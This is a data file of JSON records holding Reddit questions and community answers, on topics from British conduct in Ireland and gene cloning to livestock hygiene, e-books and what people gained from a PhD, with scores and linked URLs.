{"q_id": "2nofa7", "title": "Were the British as cruel to the Irish as they're depicted in The Wind That Shakes the Barley?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2nofa7/were_the_british_as_cruel_to_the_irish_as_theyre/", "answers": {"a_id": ["cmfqazo", "cmfydsn", "cmgiubj"], "score": [22, 2, 2], "text": ["A good primary source for this question would be Peter Beresford Ellis' *Eyewitness to Irish History* which presents, amongst other things, the majority of the Penal Laws which affected Catholics and non-Anglicans alike for the majority of the time they were in effect. Catholics, Non-Conformists (Calvinists), and other non-Anglicans were barred from holding office or being elected to any position, could not vote, could be pressed into service by any landholder Anglican for whatever price he named (refusal brought beatings, arrest, and deportation), Catholics and non-Conformists were barred from receiving education at home or abroad (on penalty of death in most cases), could not own a horse worth more than 5 pounds sterling, were barred from owning weapons, were forced to divide their property evenly amongst their heirs, and so on. \n\nAdditionally, the book chronicles the treatment of non-Conformists and Catholics at the hands of Cromwell's army (Cromwell only stayed for a year in Ireland, but his son-in-law was arguable just as happy to be malicious and cruel towards the Irish) including 50,000 Irish sent into slavery in Barbados and the razing of entire towns.\n\nThat being said, many of the radicals and revolutionaries of Ireland were Protestants, even Anglicans, who were outraged at the treatment of their fellow Irishmen; Theobald Wolfe Tone, Robert Emmet, and Charles Stuart Parnell were all Protestants. \n\nBut the **Wind that Shakes the Barley** takes place int he immediate run-up to the 1916 uprising to the middle-ish part of the Irish Civil War. During the film's first half, you are treated to the lawlessness and butchery of the infamous \"Black and Tans\" and \"Auxies\" who **DID** go door-to-door killing innocent people suspected of being Feinian/IRA. THey mass-raped, burned people out, and generally ran roughshod over people with little or no oversight. _URL_0_\n\nThe Black and Tans' behavior, coupled with battle exhaustion of the British public, made the fight against the revolution untenable and thus brought both sides to the negotiation table.\n\nTL;DR: it is a qualified \"Yes\" - the English were (to borrow a phrase) \"Right bastards\" towards Irish (Catholic and non-Conformists) during much of the time they ruled the island, with few exceptions.", "This is a very interesting question. \n\nI know the area where the  *Wind That Shakes the Barley* was made and it's where my mother grew up and the depiction is quite accurate.  \n\nThis is a very specific period of history surrounding Irelands independence when constitutional means to change the system of government had become mired in politics.\n\nOne problem with the movie is the political message when the catalyst behind the warwas the rrevival of the irish language,  especially in that region.  \n\nIt helps to look at Ireland as being the original British Colony, which it was, and where the their system of colonial administration developed and as the prototype. \n\nThe depiction of a colonial power and actions of it's army is always subjective as it depends on the historiography and this is depicted from an irish perspective.  So yes, it is accurate and it's how colonial armies behave. The  study of Irish history is interesting for others as a comparator. Ideas and methods were tried and tested, that's often why when the issue of Irish slavery comes up there is so much argument as opposed to looking at it as the original colony and *colonial experiment*. (When the US was a still  a colony it's residents were able to gauge British policy by what had happened in Ireland ).\n\nIrish independence was also the harbinger of the end of the British Empire in the 20th century. \n\nI hope this helps put some perspective into it. \n\nThere are a few interesting video links on the web that I can find for you if you are interested in Ireland in the media.  A movie \"the Lad from the Old Country \" made on location in Ireland in 1910 and Brendan Behan, the writer, and others  on a Canadian current affairs show in the 1950's discussing colonialism. ", "I have found a link for [the killings of Pat  &  Harry Loughrane in Galway](_URL_0_).\n\nThe author is the teacher and historian Cormac O'Comhrai. \n\n\nIt's  a chilling read and would describe similar events to the movie. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Black_and_Tans"], [], ["http://www.warofindependence.info/?page_id=260"]]}
{"q_id": "j62ig", "title": "hi eli5, i make animated videos for new scientist to explain difficult scientific ideas. anything you'd like to see?", "selftext": "I've only done a couple of these so far, and am learning as I go, but am game for suggestions.\n\nExamples:\n\nHow the universe appeared out of nothing:\n_URL_3_\n\nHow animals shaped the human mind:\n_URL_1_\n\nThe illusion of free will:\n_URL_2_\n\nWhy do we dream?\n_URL_0_\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j62ig/hi_eli5_i_make_animated_videos_for_new_scientist/", "answers": {"a_id": ["c29gare", "c29gooc", "c29gyk3", "c29h9pk", "c29hcrs", "c29hdfc", "c29hu9d", "c29i63g", "c29i7h3", "c29idev", "c29ido7", "c29idpj", "c29jldf", "c29k3rh", "c29kh6w", "c29gare", "c29gooc", "c29gyk3", "c29h9pk", "c29hcrs", "c29hdfc", "c29hu9d", "c29i63g", "c29i7h3", "c29idev", "c29ido7", "c29idpj", "c29jldf", "c29k3rh", "c29kh6w"], "score": [3, 12, 12, 32, 3, 2, 5, 8, 3, 3, 3, 3, 2, 2, 2, 3, 12, 12, 32, 3, 2, 5, 8, 3, 3, 3, 3, 2, 2, 2], "text": ["I'd be curious to see a contrast between the typical \"evolution of man\" animations that have been done over and over again, and a more realistic representation of how evolution works, as I talk about [here](_URL_0_)", "I would like to see some of the methods for determining the properties of astronomical bodies, how redshift is calculated, spectrograph readings and maybe how the mass of the visible universe is calculated.", "How do magnets work? What causes the magnetic force?", "Particle and Wave duality of light?", "Nuclear fusion. In other words, a response to the questions \"How can the sun burn in the vacuum of space? Wouldn't it need oxygen?\"", "A battery and bulb   ...then turning on a light switch, showing the slow flow of charges inside the wires, showing the fast \"startup wave\" of current which races along, and perhaps even show the propagation of electrical energy down the wires (the e-field and b-field flux surrounding the conductors.)\n\nWhat would it look like if it all WASN'T invisible?  We could show what's inside the wires, and students/the public might actually understand how circuits work.\n\nOther attempts: Falstad circuit simulator with colored voltage and moving charges: \n_URL_0_\nMy battery-powered \"wire with moving electrons\" _URL_1_\n", "Cool. Obligatory \"what software did you use?\" question.\n\nI'd like to see some stuff about evolution. How are humans related to other animals.", "Some of these are amazing  > . < ! The big bang one is mind blowing.", "Explaining wavefunctions would be good.", "How about an animation explaining the double slit experiment?", "The difference between ionizing and non-ionizing radiation, and why bananas give off more harmful radiation than microwaves.", "Not much of a request but more of a question, OP:\n\nWho is your target audience with these videos?\n\nI say this because you made them with a Schoolhouse Rock kind of aesthetic, which is awesome, but you are tackling advanced subjects with a vocabulary more appropriate for collegiate research papers. I really liked your Universe video, but I think that the speed that you go through the motions doesn't lend itself to really *teaching* the material even if it explains it really well. I hope you keep this up, and it's definitely in the spirit of LI5. Thanks for your hard work!", "Vector Calculus! Especially the 3-dimensional stuff. Just trying to visualize the problem is half the battle. ", "How about the Standard Model? It's something that I've never learned anything about, even through college physics", "I'd like to see digestion and metabolisation, including:\n\n * Storage of fuel (fat, sugars) in cells\n * Retrieval of fuel\n * Protein breakdown into amino acids and subsequent re-assembly\n * Fibre\n\nThat sort of thing, maybe a big ask, I'd be interested in see a visualisation for any/all of the above.", "I'd be curious to see a contrast between the typical \"evolution of man\" animations that have been done over and over again, and a more realistic representation of how evolution works, as I talk about [here](_URL_0_)", "I would like to see some of the methods for determining the properties of astronomical bodies, how redshift is calculated, spectrograph readings and maybe how the mass of the visible universe is calculated.", "How do magnets work? What causes the magnetic force?", "Particle and Wave duality of light?", "Nuclear fusion. In other words, a response to the questions \"How can the sun burn in the vacuum of space? Wouldn't it need oxygen?\"", "A battery and bulb   ...then turning on a light switch, showing the slow flow of charges inside the wires, showing the fast \"startup wave\" of current which races along, and perhaps even show the propagation of electrical energy down the wires (the e-field and b-field flux surrounding the conductors.)\n\nWhat would it look like if it all WASN'T invisible?  We could show what's inside the wires, and students/the public might actually understand how circuits work.\n\nOther attempts: Falstad circuit simulator with colored voltage and moving charges: \n_URL_0_\nMy battery-powered \"wire with moving electrons\" _URL_1_\n", "Cool. Obligatory \"what software did you use?\" question.\n\nI'd like to see some stuff about evolution. How are humans related to other animals.", "Some of these are amazing  > . < ! The big bang one is mind blowing.", "Explaining wavefunctions would be good.", "How about an animation explaining the double slit experiment?", "The difference between ionizing and non-ionizing radiation, and why bananas give off more harmful radiation than microwaves.", "Not much of a request but more of a question, OP:\n\nWho is your target audience with these videos?\n\nI say this because you made them with a Schoolhouse Rock kind of aesthetic, which is awesome, but you are tackling advanced subjects with a vocabulary more appropriate for collegiate research papers. I really liked your Universe video, but I think that the speed that you go through the motions doesn't lend itself to really *teaching* the material even if it explains it really well. I hope you keep this up, and it's definitely in the spirit of LI5. Thanks for your hard work!", "Vector Calculus! Especially the 3-dimensional stuff. Just trying to visualize the problem is half the battle. ", "How about the Standard Model? It's something that I've never learned anything about, even through college physics", "I'd like to see digestion and metabolisation, including:\n\n * Storage of fuel (fat, sugars) in cells\n * Retrieval of fuel\n * Protein breakdown into amino acids and subsequent re-assembly\n * Fibre\n\nThat sort of thing, maybe a big ask, I'd be interested in see a visualisation for any/all of the above."]}, "title_urls": [], "selftext_urls": ["http://www.newscientist.com/blogs/nstv/2011/03/explained-the-meaning-of-dreaming.html", "http://www.newscientist.com/blogs/nstv/2011/06/the-human-animal-connection-explained.html", "http://www.newscientist.com/blogs/nstv/2011/04/why-free-will-may-be-an-illusion.html", "http://www.newscientist.com/blogs/nstv/2011/07/how-the-universe-appeared-from-nothing.html"], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/comments/j5sak/eli5_evolution/c29epxr?context=3"], [], [], [], [], ["http://www.falstad.com/circuit/", "http://amasci.com/viselect/viselect.html"], [], [], [], [], [], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j5sak/eli5_evolution/c29epxr?context=3"], [], [], [], [], ["http://www.falstad.com/circuit/", "http://amasci.com/viselect/viselect.html"], [], [], [], [], [], [], [], [], []]}
{"q_id": "3o4l8p", "title": "Would it be possible to make an interface which coma patients can use with their brain activity?", "selftext": "Think of it like connecting their brain to a computer and communicating through that.\n\nSince most coma patients are conscious in a sense and their brain activity can be monitored, would it be possible? If so, *how*?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3o4l8p/would_it_be_possible_to_make_an_interface_which/", "answers": {"a_id": ["cvumf2h"], "score": [3], "text": ["There are really two questions here.\n\nThe first to clarify is that coma generally refers to a reduced conscious state - that is, the person is unresponsive because they are literally not conscious, and therefore not able to form conscious thought or action.\n\nPresumably, hooking up those brains, if you could, may give you some insight into dreams, but more usually would be devoid of meaningful activity (ie. coma occurs because of diffuse, severe damage or impairment in function).\n\nWhat I think you're referring to is a 'locked in'-like state - where higher functions ('thinking') are intact, but the connection between body and mind is altered so they cannot talk or express themselves.\n\nThe common situations this arises in are severe brainstem strokes, which can completely paralyse someone but not affect cognition, and severe nerve problems, such as really severe Guillain-Barre Syndrome.\n\nIn both of these, the brain itself is ok - so if you could somehow 'pull out' the information, you're right - the patient could communicate.\n\nWe have sort of done that already - eye-controlled computer software, for example, is very handy for 'locked in' patients with preserved eye function, even if it's limited.\n\nFor the truly locked in patient with no external movement at all, the questions is trickier, and the question then becomes how do you record brain activity?\n\nSurface electroencephalography is limited by being a fairly coarse recording (ie. even though we use 20 electrodes, each covers an area of brain that does literally thousands of things) and lots of artifact.\n\nWe do sometimes record EEG data from the brain surface itself, but this obviously involves pulling someone's skull off and implanting a grid, which can damage the underlying brain. And the resolution is still no where near enough to, say, differentiate between someone signalling a thumbs up vs poking out their tongue.\n\nSimply put, the brain is so incredibly, unimaginably complex, that no recording system to date has the spatial resolution to differentiate the billion, trillion complex signals that our amazing organ puts out, and I struggle to imagine a time when we have that capability.\n\nI suspect we'll have that ability around the same time we have equipment sufficiently sophisticated to 'upload' an entire consciousness to...in which case we are unlikely to have the problems of 'locked in' conditions...\n\nHope that helps. A little."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1uympd", "title": "How Does Gene Splicing Work?", "selftext": "I think that's what it is called when people take some part of DNA in one organism and put it in another organism's genes.\n\nHow exactly does that work? Like, the steps involved and how quickly the effects take place, and what happens to the cut DNA?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1uympd/how_does_gene_splicing_work/", "answers": {"a_id": ["cemzz09", "cen66d4"], "score": [11, 5], "text": ["I'll try to give a simplistic overview. Let me know if it's too vague.\n\n\"Gene splicing\" would within the heading of molecular biology. \n\nTraditionally, scientists use specialized enzymes to cut DNA at specific sequences. These enzymes all have different specificities, so for example one might cut at sequence CAATTG or CCTAGG. This resulting cut DNA is often placed into a circular piece of DNA called a plasmid, which is sort of a mini-chromosome that some bacteria have. This is useful because it is easy to grow up large amounts of your DNA sequence for later work.  There are many, many other ways that we can do this now, but the cut and paste was the first method that was used (as far as I know).\n\nWe've been engineering plasmids for decades and now have thousands of different ones to choose from. Some will let you express that DNA that you've cut out in animal or plant cells, which allows us to study what that piece of DNA does. Putting the plasmid into a plant or animal embyo can, in some cases lead to integration of that plasmid into the organism's DNA. The result is called a transgenic organism (or a genetically modified organism).\n\nThis can also be done in a mature organism using pathogens that naturally do this. In plants, the bacteria Agrobacteria tumefaciens is a natural genetic engineer, it has a plasmid that hijacks the plant's programming and makes the plant churn out food for itself. Plant scientists have hijacked the hijacker to put DNA of their choosing into plants. We can do the same with viruses in mammals.\n\nSo how quickly do you get a genetically modified organism? Well, usually it takes a fairly long time if you're starting with embryos. The fastest example I can think of are fruit flies, (my wife worked on them in grad school) they take just under a month if everything goes right.\n\nIf you're using a virus (and have it ready to go), it might take a few days to see your DNA of interest make a protein. But it traditionally takes a long time to be able to make the virus due to all of the cut and pasting that you have to do.", "Adding onto what /u/happyhourscience has already said.\n\n\"Gene splicing\" or \"RNA splicing\" typically refers to a different process that a lot of eukaryotes (organisms whose cells possess a nucleus) use in order to control the expression of their genes into mature protein products (see: [RNA splicing](_URL_2_)).\n\nSorry for the book I wrote, but I just had to keep adding things, I hope it's somewhat helpful.\n\nBack to your question - as /u/happyhourscience said, the general principle of genetic engineering revolves around the discovery and use of [restriction enzymes](_URL_4_).  Typically, when one wants to study a gene of interest from one organism (say, yeast), they obtain genomic DNA from that organism (you can buy these now from multiple different biotech companies OR you can purify it yourself using kits or other known methods).  All model organisms have their genomes completely sequenced and most have those genomes annotated.  Annotated genomes allow scientists to know exactly where genes are located in the genome they're using.  Once you know where you gene of interest is located in the genome, you \"amplify\" it to workable amounts for further research.\n\nTo amplify a gene of interest, you use small, engineered DNA segments called \"primers\" that are typically 10-40 base pairs long (you can also buy these from biotech companies or make them yourself - most people buy them nowadays).  DNA has two complementary strands (A complements to T on the other strand, C to G), so you need to amplify both the gene reading from left to right on the top strand (we call this 5' - >  3' due to features present on the DNA molecule) and from right to left on the complementary bottom strand (3' - >  5').  Thus, your primers are used to \"prime\" a DNA segment of small length (10-40 base pairs) that will be used as a \"scaffold\" to which enzymes will be able to add more bases until it reaches the end of the gene (where your 3' - >  5' primer begins on the bottom strand in the reverse direction):\n\n    ------------------------\n     >  > \n                           <  < \n    ------------------------\n\n    ------------------------\n     >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  > \n     <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  < \n    ------------------------\n                                   \nThe process of \"amplifying\" your gene in this manner uses a technique known as [Polymerase Chain Reaction (PCR)](_URL_6_).  This technique uses multiple temperature steps that denature (melt) the DNA duplex (separates it into two single stranded strands), allow for annealing of the primers (the primers, since they are designed to be complementary to both strands of the duplex, will bond to their complement), and then allow for extension of the primers (as I've diagrammed above).  This will eventually (typically 15-30 cycles of melting, annealing, extending) lead to a high population of your gene product with respect to the original genomic DNA template.  Typically, researchers also will put extra bases on the ends of the designed primers that will add restriction enzyme sites (or sequences they'll recognize, see /u/happyhourscience's description) that are not complementary to the genomic DNA - so the end amplified product will look like this:\n\n    ~~~~ >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  > ~~~~\n    ~~~~ <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  < ~~~~\n\nThe tildes represent DNA sequences that are recognized by certain restriction enzymes that will \"cut\" in these areas and not in the gene itself (the carrots in my diagram).  You then \"purify\" these amplified gene segments by running them through a gel made from agarose (a sugar polymer that forms a porous gel at room temperature) in a process called [gel electrophoresis](_URL_0_).  You then can physically cut out the piece of gel that contains your DNA, and purify it from the agarose and other contaminants using a kit provided by biotech companies.  Now you have your gene of interest in a high concentration with restriction enzyme sites engineered on the ends.\n\nNext, you will cut the DNA molecule you've synthesized using the restriction enzyme site(s) you've engineered into the DNA molecule (the tildes).  This will result in a molecule that looks like this:\n\n      ~~ >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  > ~~~~\n    ~~~~ <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  < ~~\n\nIdeally, you'd have chosen an enzyme that cuts in the pattern shown above, with \"sticky\" ends (uneven or puzzle piece like).  Some enzymes also make \"blunt\" ends (even ends), and there are special kits that allow you to work with these ends as well.  You can purify your DNA again if you'd like using gel electrophoresis as I've stated above, or not (I don't, typically, because you can inactivate the enzymes using heat).  The final step is to use a process known as DNA ligation to \"paste\" your newly synthesized gene into a suitable vector or plasmid (/u/happyhourscience mentioned these as well).  As you might expect, in order to paste the above gene into a plasmid, you must also cut the plasmid with the same restriction enzyme(s) you used to cut your gene of interest.  You will be left with this:\n\n      ~~ >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  >  > ~~~~\n    ~~~~ <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  <  < ~~\n                (gene)\n\n      ~~------------------------~~~~\n    ~~~~------------------------~~\n                (plasmid)\n\nThe plasmid is a circular entity prior to cutting (imagine a rope and cut it twice to remove a small piece, it is now linear) and will be again once you insert the gene of interest (glue a larger piece of rope where the old piece was to create a larger circle).  [DNA ligase](_URL_1_) is the enzyme used to \"glue\" the gene into the plasmid to create the larger circular piece of DNA.  The [plasmid contains multiple different DNA sequences that serve distinct purposes](_URL_7_) - in the map linked, the region between 12 and 1 o'clock lists several different abbreviations for restriction enzymes (XhoI, EagI, etc.) that indicate that the enzymes will cut at those locations (these are good choices to use for your gene of interest).  The other regions that are color coded come into play later on.  \n\nSo you now have your gene of interest into a plasmid.  You typically sequence your plasmid at this point using a variety of methods to confirm your gene of interest is actually what you think it is and was inserted into the correct location in the plasmid.  Once it is confirmed, you can FINALLY insert this plasmid into an organism of your choice.  Typically, people use the bacterium [E. coli](_URL_5_) since we have many strains of E. coli that readily will \"accept\" the plasmid into their cellular environment.  This is achieved using a process known as [transformation](_URL_3_.  As mentioned previously, there are other elements on a plasmid besides your gene of interest.  One of them, in the map linked, is the antibiotic resistance marker.  This stretch of DNA will encode a protein that allows for the host cell to become resistant to a certain antibiotic.  In this case, it is ampicillin.  So, we transform our DNA plasmid into E. coli and allow them to grow in the presence of ampicillin.  Cells that accepted our DNA plasmid will survive since they are now expressing a protein to break down ampicillin, and those that did not accept our plasmid will die.  This allows for the cells we want to replicate in a nutrient-rich environment without competition from those cells without our plasmid of interest.  \n\nGreat, now we have a culture of E. coli with our cells of interest that contain our plasmid.  Another element on the plasmid is a system used to turn on/off the transcription of our gene of interest.  This is controlled by a unique system that \"senses\" the environment for small molecules (typically sugars like lactose or arabinose) and will turn on transcription of your gene if they are present.  Thus, in order to express our protein of interest, all we must do is grow our special cells in the presence of the small molecule that turns \"on\" the transcription of our gene!  We now have boatloads of our protein after 4-5 hours of growth in the presence of our small molecule \"inducer\" that we can purify from the E. coli cells using a variety of methods.  \n\nI have left out details of specific systems, like how the plasmid uses a different expression system than the host cell's transcription system, among other things.  Also, there are many ways to go from gene to protein, so this is just one method that I've used for several years now.  Also, since I was most familiar with bacterial cells, I chose them.  There are other methods to insert plasmids or genes of interest into yeast, fruit fly cells, etc.  They are typically more complex the more complex your organism of choice gets, so I used E. coli for clarity.\n\nThis entire process takes awhile, but assuming you have your genomic DNA, primers, and everything else on hand: 1 day to amplify/purify DNA, 1-2 day to cut your amplified gene and plasmid and ligate into plasmid, and allow for growth, 1-2 days to confirm the presence of your DNA in the plasmid (sequence, depends on your lab's capabilities/facilities), 1-2 days to transform the plasmid into a cell line, 1 day to express your cells.  Again, this is assuming great work ethic, everything goes to plan (it never does!), and you have great facilities with everything on hand, and you're using bacteria.  So a total of a week to two weeks in realistic.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Gel_electrophoresis", "http://en.wikipedia.org/wiki/DNA_ligase", "http://en.wikipedia.org/wiki/RNA_splicing", "http://en.wikipedia.org/wiki/Transformation_(genetics)", "http://en.wikipedia.org/wiki/Restriction_enzyme", "http://en.wikipedia.org/wiki/Escherichia_coli", "http://en.wikipedia.org/wiki/Polymerase_chain_reaction", "http://www.biovisualtech.com/bvplasmid/pET-21(%2B).jpg"]]}
{"q_id": "b99v6e", "title": "why can cows and sheep crap in fields where they eat without getting sick, while faecal matter lying about quickly leads to diseases like cholera in humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b99v6e/eli5_why_can_cows_and_sheep_crap_in_fields_where/", "answers": {"a_id": ["ek361qi", "ek36gu9", "ek36li6", "ek36m8d", "ek38nie", "ek38rk0", "ek38xf3", "ek3c7v1", "ek3s0sk", "ek3t2rx", "ek3u0he", "ek47fvd", "ek4qfsg", "ek4wkad", "ek5jpdx"], "score": [36, 628, 2, 11, 4, 94, 3, 4, 3, 2, 5, 2, 2, 2, 2], "text": ["Humans live in really dense populations compared to other organisms and virtually no individual is truly isolated from any other. You can make a chain of personal physical contact from one person to almost any other on the planet, over many degrees of separation. You will eventually come into contact with seriously sick people, it's not a question of *if*, so we keep our hygiene game strong.\n\n12 cows in a field have virtually no interaction with the other cows of the world, so if none of them have a communicable disease then that's it, none of them have a communicable disease and they can step on each other's shit all day long. If one of those cows DOES get sick though, either through another animal or a contaminated water supply and so on... that can become a big problem.", "Cattle have a natural aversion to feeding around their own dung. This can lead to the formation of taller ungrazed patches of heavily fertilized sward. These habitat patches, termed \"islets\", can be beneficial for many grassland arthropods, including spiders (Araneae) and bugs (Hemiptera). They have an important function in maintaining biodiversity in heavily utilized pastures", "Cows eat plants only, so there is not as much opportunity to pass on disease through food. The waste of plant eaters has a much lower chance to carry anything that negatively effects us, which is why manure is safe to use on farms, but we would not want to use cat or dog waste.", "Some diseases that impact us (like cholera) don't affect animals like cows nearly as much or even at all. They do get infected though. Livestock eating dirty plants is what allows a lot of parasites to survive and potentially spread to US. Yay! Thing is, intestinal worms have to be at insanely high levels to really impact a cow to a noticable degree, and others like tapeworms that live in their muscle tissue cause some issues but not catastrophic ones. ", "With no research whatsoever I'm also positive that condensed feeding of cows, horses, sheep, etc. Is actually a problem and they can get sick.\n\n", "Animals do get sick from fecal matter being about so it's a bit off a misconception. They don't get sick because of a farmers work.\n\n & #x200B;\n\nWhat happens is twofold.\n\n & #x200B;\n\nIn pens:\n\nThey move and the farmer mucks up (grabs the poop) and they don't eat where they poop. The aforementioned poop is deposited in a compost pile for use or sold.\n\n & #x200B;\n\nIn pasture:\n\n & #x200B;\n\nThe animal doesn't poop where it's eating it grazes and then is moved to different pasture once the plants are eaten. The poop falls on the already eaten parts additionally they  often use agricultural fencing to divide up the aforementioned  pasture land to keep the animals in a specific area. For some animals dogs can be used as well.\n\n & #x200B;\n\nAdditional steps depend on what's going on as there are numerous styles of agriculture. The common thread is the poop is not wasted.\n\n & #x200B;\n\nIf this pasture is a fallow field: it's often spreed and allowed to rot in place.\n\n & #x200B;\n\nIf the poop is to be used as fertilizer in a different field it is gathered by the farmer and  composted. The compost is then spread by machines.  Raw manure cannot be used on many crops especially root crops. \n\n & #x200B;\n\nIf the poop is going to be sold it is gathered by the farmer and either composted on site or sold as is to producers of bagged manure or anyone else wanting to buy poop.", "Cows have specific grazing patterns. They are also very social creatures so they basically agree to a \"eat here then crap here later when there's no food left anyway\" type system. There are microbes in horses that can jump very far, trying to get from the manure, to grass that will be eaten to continue the infection lifecycle. ", "I see a lot of answer saying cows avoid fecal matter either actively or by segregation, but my dog eats pop twice a day and is fine, so what gives?", "They dot get sick especially from Haemonchus, Ostertagia, and Trichostrongylus (nematode parasites). These are a massive problems in small ruminants and can lead to severe anemia. This anemia equals decreased weight gain which is no bueno in animal production. ", "Cow, sheep and horse dung is non-toxic because their diet is grass. Hence horse manure is used to help grow your vegetables.\n\nHuman / dog dung (etc) is highly toxic.", "Attended a wedding once where the family lived on a dairy farm, the day before they had just removed all the manure. The smell was so thick in the air I didn't want to inhale. Really intense for the uninitiated. They are all passing around tray of hors d'oeuvres and sipping drinks, sure, I'll try a piece of home made deer baloney...  gamey baloney and cow poop aromatics... memory seared into brain. ", "A variation of a common question here, why can [animals eat raw meat](_URL_0_), but humans can't. \n\nThe basic answer is, not all fecal matter has harmful bacteria, the immune system in animals and humans stops most infections fairly early on. In the wild a sick animal is likely to get killed by predators, or become too weak to hunt, either way it dies. \n\nOn a farm, the farmers actively manage their herd, they rotate them into different pastures, or feed them in elevated feeding tables for feeding grains, and hay bale cages, both of which prevent feces from getting into the feed.", "Imagine you and your family and maybe a few other families are living on a large piece of land. Maybe 500 acres. There is enough space for everyone to poop and still avoid it very easily, especially if you all make a conscious effort to do so.\n\nNow pack in several thousand people in a small city. Maybe 2000 acres and have everything covered in concrete and asphalt, but no toilets or plumbing. What this does is force people into contact with fecal matter. There is too much of it and not enough room. When it rains it cannot be absorbed into the ground and it\u2019s not being broken down by plants. So it sits there and gets spread around making it impossible to avoid.\n\nHumans and animals do get sick from coming into contact with fecal matter, but animals like cows and sheep have enough room and awareness to avoid any contact with it. If the animals are in confined spaces, their pens are cleaned regularly.", "In nature, where the grazing behavior developed, grazing animals are constantly on the move. They don\u2019t eat anything with shit on it because they just walk away to a clean spot. \n\nIt\u2019s when we domesticated them and forced them to shit where they eat that the trouble started.\n\nWe have a horse, and she and all her barnmates have to take anti-worm medicine in a regular schedule, plus get sprayed for flies and get vaccinated\u2014there are also daily \u201cfeed-thru\u201d wormers and fly control meds. ", "Humans were fine back when everyone lived in caves all the way till we decided to all cram into a city so that we could live close to our urban jobs and everyone in town taking a dump all on top of each other builds up deseases fast"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["https://old.reddit.com/r/explainlikeimfive/search?q=raw+meat+animals&amp;restrict_sr=on&amp;sort=relevance&amp;t=all"], [], [], []]}
{"q_id": "2hmj5l", "title": "we have the technology to replace physical books, so why don't we stop publishing physical books to save the environment?", "selftext": "Why aren't there any campaigns to promote digital books to older generations and the general public? Why not eventually make laws that will slowly prevent the production of future physical books?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hmj5l/eli5_we_have_the_technology_to_replace_physical/", "answers": {"a_id": ["cku0bct", "cku0brh", "cku29uq"], "score": [15, 3, 3], "text": ["Because people *like* paper books, and there is no compelling reason to stop it.\n\nPaper production is managed, a lot of paper is recycled at least once.  We have much bigger fish to fry in the environmental scene than books.", "A recent study found that there were important differences in the way the brain processed reading on paper (in which the brain focused and read more deeply) versus reading from a screen (more \"scanning\" and less focused reading) regardless of the content. So at least one argument would be that the two have very unique and important differences in the way we process what we are reading.", "A tablet that works for a few years before getting tossed is going do a lot more damage to the environment than my 10 year collection of books.  Especially considering you have to mine a lot of the metals used; often in poor countries with low safety and environmental standards to keep costs low.\n\nEven if you recycle the tablet to prevent the toxic components from getting into the water supply.\n\nAlso. \n\n_URL_1_\n\n _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.towardfreedom.com/30-archives/africa/1294-inside-africas-playstation-war", "http://en.wikipedia.org/wiki/Coltan"]]}
{"q_id": "3p1odk", "title": "What's the oldest telescope still in service and making meaningful discoveries and contributions?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3p1odk/whats_the_oldest_telescope_still_in_service_and/", "answers": {"a_id": ["cw2rf1k"], "score": [4], "text": ["good question considering telescopes don't really wear out, so a well made telescope could be used and useful for a long time.\n\nBut I don't know the answer, the only one that comes to mind is the Panama telescope, but I do not think it is still in use, but was for a long time.\n\n[Panama tele](_URL_0_)\n\nedit: That is \"Yerkes Observatory\" I believe, in that pic"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bing.com/images/search?q=panama+telescope&amp;view=detailv2&amp;&amp;id=006DD0871C9322344555150AF1943A46FD976533&amp;selectedIndex=2&amp;ccid=VbMHM35o&amp;simid=608038404879486648&amp;thid=OIP.M55b307337e68318626a78259b7059a56o0&amp;ajaxhist=0"]]}
{"q_id": "hdfi6", "title": "What have you *gained* as a result of your PhD?", "selftext": "I became tired of reading all of the negative posts in [this](_URL_0_) thread. So, here's a place to write about what you have gained. And there has to be something.\n\nFor me, it's a degree of freedom. I can now always have a job (keeping in mind that it may not always be what I want). I get to choose my hours (most of the time). I get paid to *think*.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hdfi6/what_have_you_gained_as_a_result_of_your_phd/", "answers": {"a_id": ["c1uj4zs", "c1ujcl8", "c1ujslk", "c1ujyfx", "c1uk4ne", "c1ukgzm", "c1ukhd5", "c1uklcc", "c1uku6w", "c1ul7s8", "c1ulutf", "c1um8vz", "c1un9si"], "score": [3, 8, 6, 37, 6, 11, 10, 9, 11, 6, 3, 2, 2], "text": ["It was [already asked](_URL_0_), but didn't get many comments.", "I learned an extremely fine level of refinement on how to ask and answer questions.  Both are equally difficult, it's quite simple to ask a question that is too difficult to answer, probably more so than it is to answer a question not worth asking.\n\nA little less general, I learned about the relativistic mapping of f-orbitals, how to operate a nuclear reactor, the color that a divalent organothulium complex makes in THF, and how analytical techniques lie to you, among other things.", "cynicism.....unbridled cynicism :P\n\nEDIT: but seriously, about 1500hrs of teaching experience and a real love for helping someone understand something that i found difficult as an undergraduate", "The chip on my shoulder, and feeling like I have something to prove, has been replaced with 